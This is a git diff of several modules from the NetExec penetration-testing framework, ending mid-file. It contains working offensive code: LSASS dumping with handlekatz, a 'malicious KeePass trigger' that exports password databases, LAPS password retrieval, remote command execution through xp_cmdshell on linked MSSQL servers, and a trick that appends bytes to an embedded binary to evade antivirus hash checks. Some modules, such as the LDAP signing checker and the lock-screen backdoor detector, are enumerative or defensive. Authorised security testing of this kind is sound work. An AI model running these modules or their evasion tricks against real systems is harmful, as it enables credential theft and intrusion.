def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -113,12 +119,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -182,3 +183,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+2 -2
View File
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -130,8 +131,7 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
+53
View File
@@ -0,0 +1,53 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+5 -6
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,14 +11,10 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
pass
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
pass
"""No options available"""
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
+8 -3
View File
@@ -6,7 +6,8 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -14,8 +15,7 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -29,8 +29,13 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+2 -2
View File
@@ -1,14 +1,14 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+28 -22
View File
@@ -1,43 +1,49 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug(f"Retrieving network interface of {connection.host}")
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
+2 -2
View File
@@ -1,4 +1,5 @@
from csv import reader
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self):
self.search_type = "ALL"
+7 -6
View File
@@ -4,8 +4,10 @@ from time import sleep
from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree
from xml.etree import ElementTree as ET
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
class NXCModule:
@@ -20,11 +22,10 @@ class NXCModule:
name = "keepass_trigger"
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
opsec_safe = False
multiple_hosts = False
def __init__(self):
# module options
@@ -39,7 +40,7 @@ class NXCModule:
self.share = "C$"
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
self.local_export_path = "/tmp"
self.local_export_path = TMP_PATH
self.trigger_name = "export_database"
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
@@ -358,7 +359,7 @@ class NXCModule:
sys.exit(1)
try:
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
except Exception as e:
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
sys.exit(1)
@@ -377,7 +378,7 @@ class NXCModule:
def extract_password(self, context):
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
xml_tree = ET.parse(xml_doc_path)
root = xml_tree.getroot()
root_entries = root.find("./Root/Entry")
+5 -5
View File
@@ -1,6 +1,7 @@
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.protocols.ldap.laps import LAPSv2Extract
@@ -17,8 +18,7 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
@@ -45,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return
context.log.fail(str(e))
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+231 -173
View File
@@ -1,6 +1,8 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -10,193 +12,249 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
import contextlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks whether LDAP signing and channelbinding are required.
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Module by LuemmelSec (@theluemmel), updated by @zblurx
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and binding are required and / or enforced"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
try:
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+103
View File
@@ -0,0 +1,103 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
Module by deathflamingo
"""
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
# Store the original state of options that have to be enabled/disabled in order to restore them later
self.backuped_options = {}
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
self.restore("advanced options")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
self.restore("advanced options")
# Adapting methods from MSSQLEXEC for backup and restore functionality
def restore(self, option):
try:
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
except Exception as e:
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled(option)
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
except Exception as e:
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
def is_option_enabled(self, option):
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
result = self.mssql_conn.sql_query(query)
# Assuming the query returns a list of dictionaries with 'config_value' as the key
self.context.log.debug(f"{option} check result: {result}")
return bool(result and result[0]["config_value"] == 1)
+53
View File
@@ -0,0 +1,53 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
self.context.log.highlight(line.strip())
else:
self.context.log.display("Command executed but returned no output")
else:
self.context.log.fail("No result returned from query")
+89
View File
@@ -0,0 +1,89 @@
from io import BytesIO
import pefile
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for detecting Windows lock screen backdoors
Module by @E1A
"""
name = "lockscreendoors"
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
# List of exe names with expected descriptions
self.expected_descriptions = {
"utilman.exe": ["Utility Manager"],
"narrator.exe": ["Screen Reader", "Narrator"],
"sethc.exe": ["Accessibility shortcut keys"],
"osk.exe": ["Accessibility On-Screen Keyboard"],
"magnify.exe": ["Microsoft Screen Magnifier"],
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
"displayswitch.exe": ["Display Switch"],
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
}
# If description matches one of these it's almost certainly backdoored
self.backdoor_descriptions = [
"Windows Command Processor",
"Windows PowerShell"
]
def options(self, context, module_options):
"""No options available"""
def get_description(self, binary_data):
